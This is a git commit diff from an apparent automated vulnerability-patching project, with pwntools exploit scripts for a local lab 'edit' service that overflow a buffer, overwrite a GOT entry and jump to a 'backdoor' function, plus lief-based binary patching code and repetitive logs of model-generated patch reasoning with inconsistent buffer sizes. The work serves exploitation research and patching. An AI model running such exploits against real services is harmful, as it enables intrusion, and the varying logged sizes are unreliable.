henry_2.0_commit
This commit is contained in:
Binary file not shown.
BIN
input/edit.i64
BIN
input/edit.i64
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18
input/edit.py
Executable file → Normal file
18
input/edit.py
Executable file → Normal file
@@ -2,7 +2,7 @@
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# -*- coding:utf-8 -*-
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# -*- coding:utf-8 -*-
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from pwn import *
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from pwn import *
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context.clear(arch='amd64', os='linux', log_level='info')
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context.clear(arch='amd64', os='linux', log_level='debug')
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elf = ELF('./edit')
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elf = ELF('./edit')
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@@ -11,23 +11,35 @@ sh = listen(12012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'ADD aaaa')
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tcpClient.sendline(b'ADD aaaa')
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tcpClient.close()
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tcpClient.close()
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print("successfully add")
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
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tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
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tcpClient.close()
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tcpClient.close()
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print(hex(elf.got['free']))
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print("successfully edit")
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'SHOW')
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tcpClient.sendline(b'SHOW')
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tcpClient.recvline()
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content = tcpClient.recvuntil('a'*0x100)
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print(b"content ==> " + content)
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index_str = tcpClient.recvline()[:-1]
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index_str = tcpClient.recvline()[:-1]
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second_str = tcpClient.recvline()[:-1]
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tcpClient.close()
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tcpClient.close()
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# print("index_str == " + hex(int(index_str,16)))
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print(b"index_str == " + index_str)
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print(b"second_str == " + second_str)
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print("successfully show")
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
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tcpClient.sendline(b'EDIT ' + second_str + b' ' + p64(elf.sym['backdoor']))
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tcpClient.close()
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tcpClient.close()
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print("successfully edit")
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
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tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
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tcpClient.close()
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tcpClient.close()
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print(hex(elf.sym['backdoor']))
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sh.interactive()
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sh.interactive()
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34
input/edit2.py
Normal file
34
input/edit2.py
Normal file
@@ -0,0 +1,34 @@
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#!/usr/bin/env python3
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# -*- coding:utf-8 -*-
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from pwn import *
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context.clear(arch='amd64', os='linux', log_level='info')
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elf = ELF('./edit')
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sh = listen(12012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'ADD aaaa')
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tcpClient.close()
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
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tcpClient.close()
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'SHOW')
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tcpClient.recvline()
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index_str = tcpClient.recvline()[:-1]
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print(index_str)
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tcpClient.close()
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
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tcpClient.close()
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
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tcpClient.close()
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sh.interactive()
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BIN
input/recv.i64
BIN
input/recv.i64
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18
output/edit_patch/exp.py
Executable file → Normal file
18
output/edit_patch/exp.py
Executable file → Normal file
@@ -2,7 +2,7 @@
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# -*- coding:utf-8 -*-
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# -*- coding:utf-8 -*-
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from pwn import *
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from pwn import *
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context.clear(arch='amd64', os='linux', log_level='info')
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context.clear(arch='amd64', os='linux', log_level='debug')
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elf = ELF('./edit')
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elf = ELF('./edit')
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@@ -11,23 +11,35 @@ sh = listen(12012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'ADD aaaa')
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tcpClient.sendline(b'ADD aaaa')
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tcpClient.close()
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tcpClient.close()
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print("successfully add")
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
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tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
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tcpClient.close()
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tcpClient.close()
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print(hex(elf.got['free']))
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print("successfully edit")
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'SHOW')
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tcpClient.sendline(b'SHOW')
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tcpClient.recvline()
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content = tcpClient.recvuntil('a'*0x100)
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print(b"content ==> " + content)
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index_str = tcpClient.recvline()[:-1]
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index_str = tcpClient.recvline()[:-1]
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second_str = tcpClient.recvline()[:-1]
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tcpClient.close()
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tcpClient.close()
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# print("index_str == " + hex(int(index_str,16)))
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print(b"index_str == " + index_str)
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print(b"second_str == " + second_str)
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print("successfully show")
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
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tcpClient.sendline(b'EDIT ' + second_str + b' ' + p64(elf.sym['backdoor']))
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tcpClient.close()
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tcpClient.close()
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print("successfully edit")
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient = remote('127.0.0.1', 11012)
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tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
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tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
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tcpClient.close()
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tcpClient.close()
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print(hex(elf.sym['backdoor']))
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sh.interactive()
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sh.interactive()
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Binary file not shown.
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@@ -134,7 +134,7 @@ def handle_recv(file_name: str, code: str, elf_file: str, patch_recv_file: str =
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os.makedirs(output_dir, exist_ok=True)
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os.makedirs(output_dir, exist_ok=True)
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output_file = output_dir + '/' + patch_recv_file
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output_file = output_dir + '/' + patch_recv_file
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print("The recv info store into the " + output_file)
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print("The file info store into the " + output_file)
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# get prompt from prompt.json
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# get prompt from prompt.json
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prompt = get_prompt('recv', 'attack')
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prompt = get_prompt('recv', 'attack')
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@@ -218,7 +218,7 @@ def handle_strcpy(file_name: str, code: str, elf_file: str, struct_data: str, pa
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os.makedirs(output_dir, exist_ok=True)
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os.makedirs(output_dir, exist_ok=True)
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output_file = output_dir + '/' + patch_strcpy_file
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output_file = output_dir + '/' + patch_strcpy_file
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print("The recv info store into the " + output_file)
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print("The file info store into the " + output_file)
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# get prompt from prompt.json
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# get prompt from prompt.json
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prompt = get_prompt('strcpy', 'attack')
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prompt = get_prompt('strcpy', 'attack')
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@@ -88,14 +88,12 @@ def patch_strcpy(lief_binary, nbytes, save_path, output=True):
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new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
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new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
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new_segment_address = new_segment.virtual_address
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new_segment_address = new_segment.virtual_address
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#lief_binary.patch_pltgot("strcpy", new_segment.virtual_address)
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#lief_binary.patch_pltgot("strcpy", new_segment.virtual_address)
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os.system("rm " + save_path)
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lief_binary.write(save_path)
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lief_binary.write(save_path)
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os.system("chmod +x " + save_path)
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os.system("chmod +x " + save_path)
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elf_patch = ELF(save_path)
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elf_patch = ELF(save_path)
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print("save_path --> " + save_path)
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patch_by_pltsec_jmp(elf_patch, 'strcpy', elf_patch.plt['strcpy'], new_segment_address, len(patch_code), save_path)
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print("elf_patch.plt.strcpy --> " + hex(elf_patch.plt.strcpy))
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patch_by_pltsec_jmp(elf_patch, 'strcpy', elf_patch.plt.strcpy, new_segment_address, len(patch_code), save_path)
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# to do
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# to do
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def patch_dprintf(lief_binary, save_path, output=True):
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def patch_dprintf(lief_binary, save_path, output=True):
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@@ -115,40 +113,42 @@ def patch_dprintf(lief_binary, save_path, output=True):
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new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
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new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
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new_segment_address = new_segment.virtual_address
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new_segment_address = new_segment.virtual_address
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#lief_binary.patch_pltgot("dprintf", new_segment.virtual_address)
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#lief_binary.patch_pltgot("dprintf", new_segment.virtual_address)
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os.system("rm " + save_path)
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lief_binary.write(save_path)
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lief_binary.write(save_path)
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os.system("chmod +x " + save_path)
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os.system("chmod +x " + save_path)
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elf_patch = ELF(save_path)
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elf_patch = ELF(save_path)
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patch_by_pltsec_jmp(elf_patch, 'dprintf', elf_patch.plt.dprintf, new_segment_address, len(patch_code), save_path)
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patch_by_pltsec_jmp(elf_patch, 'dprintf', elf_patch.plt['dprintf'], new_segment_address, len(patch_code), save_path)
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def patch_recv(lief_binary, nbytes, save_path, output=True):
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def patch_recv(lief_binary, nbytes, save_path, output=True):
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patch_recv_code = f"""
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patch_recv_code = f"""
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mov rdx, {nbytes}
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mov rdx, {nbytes};
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mov r10, rcx;
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xor r8, r8;
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xor r9, r9;
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push 45;
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pop rax;
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syscall;
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ret;
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"""
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"""
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patch_code = asm(patch_recv_code)
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patch_code = asm(patch_recv_code)
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if output:
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if output:
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print("the assmebly code :\n %s" % patch_recv_code)
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print("the assmebly code :\n %s" % patch_recv_code)
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print("the machine code :\n %s" % patch_code)
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print("the machine code :\n %s" % patch_code)
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new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
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new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
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lief_binary.patch_pltgot("recv", new_segment.virtual_address)
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new_segment_address = new_segment.virtual_address
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os.system("rm " + save_path)
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lief_binary.write(save_path)
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lief_binary.write(save_path)
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os.system("chmod +x " + save_path)
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os.system("chmod +x " + save_path)
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# if __name__ == '__main__':
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elf_patch = ELF(save_path)
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# argv = sys.argv
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patch_by_pltsec_jmp(elf_patch, 'recv', elf_patch.plt['recv'], new_segment_address, len(patch_code), save_path)
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# argc = len(sys.argv)
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# path = sys.argv[1]
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if __name__ == '__main__':
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# save_path = path + "_patch"
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argv = sys.argv
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# lief_binary, pwn_binary = load_binary_file_information(path)
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argc = len(sys.argv)
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# if sys.argv[2] == 'dprintf':
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path = sys.argv[1]
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# patch_dprintf(save_path)
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save_path = path + "_patch"
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# elif sys.argv[2] == 'strcpy':
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lief_binary, pwn_binary = load_binary_file_information(path)
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# patch_strcpy(int(sys.argv[3]), save_path)
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if sys.argv[2] == 'dprintf':
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patch_dprintf(lief_binary, save_path)
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elif sys.argv[2] == 'strcpy':
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patch_strcpy(lief_binary, int(sys.argv[3]), save_path)
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elif sys.argv[2] == 'recv':
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patch_recv(lief_binary, int(sys.argv[3]), save_path)
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154
src/binary_patch.py.old
Normal file
154
src/binary_patch.py.old
Normal file
@@ -0,0 +1,154 @@
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#!/usr/bin/python3
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import lief
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from pwn import *
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import os
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import sys
|
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global lief_ELF_ALLOC
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lief_ELF_ALLOC = 2
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global lief_ELF_EXCLUDE
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lief_ELF_EXECINSTR = 4
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def get_binary_file_CLASS(binary, output_info=True):
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CLASS = CLASS = binary.header.identity_class
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str_CLASS = ""
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if CLASS == binary.header.CLASS.ELF32:
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str_CLASS = "ELF32"
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elif CLASS == binary.header.CLASS.ELF64:
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str_CLASS = "ELF64"
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else:
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str_CLASS = "UNKNOWN"
|
||||||
|
if output_info:
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print("[\033[1;34m*\033[0m] CLASS is %s" % (str_CLASS))
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return (CLASS, str_CLASS)
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|
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def get_binary_file_machine_type(binary, output_info=True):
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machine_type = binary.header.machine_type
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str_machine_type = ""
|
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arch = ""
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|
if machine_type == lief._lief.ELF.ARCH.X86_64:
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str_machine_type = "x86_64"
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arch = "amd64"
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else:
|
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|
str_machine_type = "UNKNOWN"
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arch = "UNKNOWN"
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||||||
|
|
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print('[\033[1;34m*\033[0m] machine type is %s ==> ARCH : %s' % (str_machine_type, arch))
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return (str_machine_type, arch)
|
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|
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def load_binary_file_information(path):
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|
lief_binary = lief.parse(path)
|
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CLASS, str_CLASS = get_binary_file_CLASS(lief_binary)
|
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str_machine_type, arch = get_binary_file_machine_type(lief_binary)
|
||||||
|
|
||||||
|
pwn_binary = ''
|
||||||
|
context.arch = arch
|
||||||
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if "ELF" in str_CLASS:
|
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|
context.os = "linux"
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pwn_binary = ELF(path)
|
||||||
|
|
||||||
|
return (lief_binary, pwn_binary)
|
||||||
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|
||||||
|
# flag : lief.ELF.SEGMENT_FLAGS.PF_R | lief.ELF.SEGMENT_FLAGS.PF_W | lief.ELF.SEGMENT_FLAGS.PF_X
|
||||||
|
def add_segment(lief_binary, content, types, flags, base=0x405000):
|
||||||
|
segment = lief.ELF.Segment()
|
||||||
|
segment.type = types
|
||||||
|
segment.FLAGS.from_value(flags)
|
||||||
|
segment.content = list(content)
|
||||||
|
segment.alignment = 8
|
||||||
|
segment.add(lief._lief.ELF.Segment.FLAGS.R | lief._lief.ELF.Segment.FLAGS.X)
|
||||||
|
segment = lief_binary.add(segment, base=base)
|
||||||
|
print(segment.FLAGS.value)
|
||||||
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return segment
|
||||||
|
|
||||||
|
|
||||||
|
def patch_by_pltsec_jmp(elf_file, symbol, start_address_of_pltsec_jmp, target_function_address, target_function_len, save_path):
|
||||||
|
# caculate the offset
|
||||||
|
jmp_offset = target_function_address - (start_address_of_pltsec_jmp + 5)
|
||||||
|
shellcode = b'\xe9' + p32(jmp_offset & 0xffffffff)
|
||||||
|
elf_file.write(start_address_of_pltsec_jmp, shellcode)
|
||||||
|
|
||||||
|
jmp_offset = elf_file.got[symbol] - (target_function_address + target_function_len + 7)
|
||||||
|
shellcode = b'\xf2\xff\x25' + p32(jmp_offset & 0xffffffff)
|
||||||
|
elf_file.write(target_function_address + target_function_len, shellcode)
|
||||||
|
elf_file.save(save_path)
|
||||||
|
|
||||||
|
|
||||||
|
def patch_strcpy(lief_binary, nbytes, save_path, output=True):
|
||||||
|
print("[\033[1;34m*\033[0m] get the length of buffer is 0x%x(%d)" % (nbytes, nbytes))
|
||||||
|
patch_strcpy_code = f"""
|
||||||
|
mov rdx, {nbytes - 1};
|
||||||
|
mov byte ptr [rdx + rsi], 0;
|
||||||
|
"""
|
||||||
|
patch_code = asm(patch_strcpy_code)
|
||||||
|
if output:
|
||||||
|
print("the assmebly code :\n %s" % patch_strcpy_code)
|
||||||
|
print("the machine code :\n %s" % patch_code)
|
||||||
|
|
||||||
|
new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
|
||||||
|
new_segment_address = new_segment.virtual_address
|
||||||
|
#lief_binary.patch_pltgot("strcpy", new_segment.virtual_address)
|
||||||
|
lief_binary.write(save_path)
|
||||||
|
os.system("chmod +x " + save_path)
|
||||||
|
|
||||||
|
elf_patch = ELF(save_path)
|
||||||
|
print("save_path --> " + save_path)
|
||||||
|
print("elf_patch.plt.strcpy --> " + hex(elf_patch.plt.strcpy))
|
||||||
|
patch_by_pltsec_jmp(elf_patch, 'strcpy', elf_patch.plt.strcpy, new_segment_address, len(patch_code), save_path)
|
||||||
|
|
||||||
|
|
||||||
|
# to do
|
||||||
|
def patch_dprintf(lief_binary, save_path, output=True):
|
||||||
|
patch_dprintf_code = f"""
|
||||||
|
push rsi;
|
||||||
|
pop rdx;
|
||||||
|
mov rax, [rsp];
|
||||||
|
push 0x7325;
|
||||||
|
push rsp
|
||||||
|
pop rsi;
|
||||||
|
push rax;
|
||||||
|
"""
|
||||||
|
patch_code = asm(patch_dprintf_code)
|
||||||
|
if output:
|
||||||
|
print("the assmebly code :\n %s" % patch_dprintf_code)
|
||||||
|
print("the machine code :\n %s" % patch_code)
|
||||||
|
new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
|
||||||
|
new_segment_address = new_segment.virtual_address
|
||||||
|
#lief_binary.patch_pltgot("dprintf", new_segment.virtual_address)
|
||||||
|
lief_binary.write(save_path)
|
||||||
|
os.system("chmod +x " + save_path)
|
||||||
|
|
||||||
|
elf_patch = ELF(save_path)
|
||||||
|
patch_by_pltsec_jmp(elf_patch, 'dprintf', elf_patch.plt.dprintf, new_segment_address, len(patch_code), save_path)
|
||||||
|
|
||||||
|
|
||||||
|
def patch_recv(lief_binary, nbytes, save_path, output=True):
|
||||||
|
patch_recv_code = f"""
|
||||||
|
mov rdx, {nbytes}
|
||||||
|
mov r10, rcx;
|
||||||
|
xor r8, r8;
|
||||||
|
xor r9, r9;
|
||||||
|
push 45;
|
||||||
|
pop rax;
|
||||||
|
syscall;
|
||||||
|
ret;
|
||||||
|
"""
|
||||||
|
patch_code = asm(patch_recv_code)
|
||||||
|
if output:
|
||||||
|
print("the assmebly code :\n %s" % patch_recv_code)
|
||||||
|
print("the machine code :\n %s" % patch_code)
|
||||||
|
new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
|
||||||
|
lief_binary.patch_pltgot("recv", new_segment.virtual_address)
|
||||||
|
lief_binary.write(save_path)
|
||||||
|
os.system("chmod +x " + save_path)
|
||||||
|
|
||||||
|
# if __name__ == '__main__':
|
||||||
|
# argv = sys.argv
|
||||||
|
# argc = len(sys.argv)
|
||||||
|
# path = sys.argv[1]
|
||||||
|
# save_path = path + "_patch"
|
||||||
|
# lief_binary, pwn_binary = load_binary_file_information(path)
|
||||||
|
# if sys.argv[2] == 'dprintf':
|
||||||
|
# patch_dprintf(save_path)
|
||||||
|
# elif sys.argv[2] == 'strcpy':
|
||||||
|
# patch_strcpy(int(sys.argv[3]), save_path)
|
||||||
1950
src/chat_log.json
1950
src/chat_log.json
File diff suppressed because it is too large
Load Diff
@@ -39,6 +39,38 @@
|
|||||||
"file_path": "dprintf_extract.c",
|
"file_path": "dprintf_extract.c",
|
||||||
"vul_info": []
|
"vul_info": []
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"file_path": "dprintf_extract.c",
|
||||||
|
"vul_info": []
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_path": "dprintf_extract.c",
|
||||||
|
"vul_info": []
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_path": "dprintf_extract.c",
|
||||||
|
"vul_info": []
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_path": "dprintf_extract.c",
|
||||||
|
"vul_info": []
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_path": "dprintf_extract.c",
|
||||||
|
"vul_info": []
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_path": "dprintf_extract.c",
|
||||||
|
"vul_info": []
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_path": "dprintf_extract.c",
|
||||||
|
"vul_info": []
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_path": "dprintf_extract.c",
|
||||||
|
"vul_info": []
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"file_path": "dprintf_extract.c",
|
"file_path": "dprintf_extract.c",
|
||||||
"vul_info": []
|
"vul_info": []
|
||||||
|
|||||||
@@ -1166,5 +1166,343 @@
|
|||||||
"vul_info": [],
|
"vul_info": [],
|
||||||
"fix_size": 1024,
|
"fix_size": 1024,
|
||||||
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet. We can infer the size from the context in which the `add` function is used."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. Unfortunately, the size of `newNode->data` is not explicitly provided in the code snippet. However, we can infer the size from the context of the program."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the code snippet you provided does not explicitly define the `Node` structure, so we don't know the exact size of `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. We can infer the size from the context of the program."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. We need to infer it from the context or assume a reasonable size based on the usage."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer. In the provided code, the `Node` structure is not explicitly defined, but we can infer from the `malloc` call in the `add` function that each `Node` is allocated `0x108` bytes (264 bytes in decimal)."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the `strcpy` function is used to copy `str` into `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, `strcpy(newNode->data, str);` is used to copy the string `str` into `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly given in the code snippet you provided. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 256,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you shared. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. We need to infer it from the context or assume a reasonable size based on typical usage."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string will be copied. In the provided code, the `add` function allocates memory for a `Node` structure with `malloc(0x108uLL)`. Assuming that `Node` is a structure with a `data` field that is a character array, we need to know the size of this `data` field to set the correct size for `strncpy`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the provided code, the `add` function uses `strcpy` to copy `str` into `newNode->data`. However, the size of `newNode->data` is not explicitly given in the code snippet."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code snippet."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly provided in the code snippet you posted. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly defined in the provided code. We need to make an assumption based on the context."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to understand the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1032,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the code snippet provided does not explicitly define the `Node` structure, so we need to make an assumption based on the context."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer, which is `newNode->data`. However, the size of `newNode->data` is not explicitly given in the code snippet provided. We need to infer it from the context or assume a reasonable size based on typical usage."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1035,
|
||||||
|
"patch_info": "we need to consider the size of the destination buffer where the string is being copied. In the `add` function, the destination buffer is `newNode->data`. However, the size of `newNode->data` is not explicitly given in the code snippet you provided. "
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"file_name": "edit_extract.c",
|
||||||
|
"vul_info": [],
|
||||||
|
"fix_size": 1024,
|
||||||
|
